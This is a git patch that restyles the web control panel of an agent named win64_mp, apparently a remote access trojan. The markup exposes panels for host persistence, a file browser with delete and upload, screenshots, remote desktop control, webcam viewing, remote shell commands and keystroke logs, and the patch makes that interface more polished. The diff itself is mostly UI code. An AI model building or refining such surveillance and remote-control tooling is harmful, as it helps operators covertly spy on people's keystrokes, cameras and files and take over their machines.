From 2ce438852aa8f5746cac7c7f26e67a8cf6da9b3f Mon Sep 17 00:00:00 2001 From: Daniel Legt Date: Sat, 29 Aug 2026 18:37:36 +0300 Subject: [PATCH] Refactor web interface styles and structure for improved design and usability. Update CSS variables for a dark theme, enhance layout with glassmorphism effects, and streamline status item rendering in JavaScript. Add a danger class to delete buttons for better visibility. --- lib/agent/web/app.js | 8 +- lib/agent/web/index.html | 1102 ++++++++++++++++++++++++++++---------- 2 files changed, 833 insertions(+), 277 deletions(-) diff --git a/lib/agent/web/app.js b/lib/agent/web/app.js index 6184efa..f618366 100644 --- a/lib/agent/web/app.js +++ b/lib/agent/web/app.js @@ -130,12 +130,15 @@ ]; setStartup(Boolean(data.startup_enabled)); statusFields.replaceChildren( - ...fields.flatMap(([label, value]) => { + ...fields.map(([label, value]) => { + const item = document.createElement("div"); + item.className = "status-item"; const dt = document.createElement("dt"); dt.textContent = label; const dd = document.createElement("dd"); dd.textContent = value || "—"; - return [dt, dd]; + item.append(dt, dd); + return item; }) ); } @@ -204,6 +207,7 @@ const full = joinPath(data.path, entry.name); const del = document.createElement("button"); del.type = "button"; + del.className = "danger"; del.textContent = "Delete"; del.addEventListener("click", (event) => { event.stopPropagation(); diff --git a/lib/agent/web/index.html b/lib/agent/web/index.html index 6b7958b..db22dfc 100644 --- a/lib/agent/web/index.html +++ b/lib/agent/web/index.html @@ -5,73 +5,289 @@ win64_mp -
-

win64_mp

- checking -
-

- -
-
-
-

Host status

- +
+
+
+ +
+

win64_mp

+

Local agent console

+
-
-
- Startup: — - - -
-
-
-
- - - - - -
-

- - - - - -
NameTypeSizeModified
-
-
-
- - - -
- -
-
-
- - - - - - -
- -

-
-
View only — enable Interactable to send mouse and keyboard
-
-
- - - - - Toggle sticky modifiers · type anywhere on this tab -
-
-
-
- - - - - - - -
- -

-
-
-
- -
-
- - -
-

-

-    
-
-
-

Keystroke logs

- -
-

- - - - - -
FileSizeModified
-

- -
-
+ checking + + + + + + +
+
+
+
+

Host status

+

Runtime identity, network, and persistence on this machine.

+
+
+ +
+
+
+
+ Startup: — + + +
+
+ +
+
+
+

File browser

+

Browse, preview, upload, and delete files on the host.

+
+
+
+ + + + + +
+

+
+ + + + + +
NameTypeSizeModified
+
+
+ +
+
+
+

Screenshot

+

Capture the primary display as a still image.

+
+
+ +
+
+
+ + +
+ +
+ +
+
+
+

Remote desktop

+

Live monitor stream. Interaction is off until you enable it.

+
+
+ + +
+
+
+ + + + + +
+
+ +
+

+
+
View only — enable Interactable to send mouse and keyboard
+
+
+ + + + + Sticky modifiers · type while this tab is active +
+
+ +
+
+
+

Webcam

+

Host camera feed for computer-vision checks.

+
+
+ + + +
+
+
+ + + + +
+
+ +
+

+
+ +
+
+
+

Command

+

Run a shell command on the host and inspect stdout/stderr.

+
+
+ +
+
+
+ +
+
+ +
+

+

+      
+ +
+
+
+

Keystroke logs

+

Click a file to view · right-click to download.

+
+
+ +
+
+

+
+ + + + + +
FileSizeModified
+
+

+ +
+
+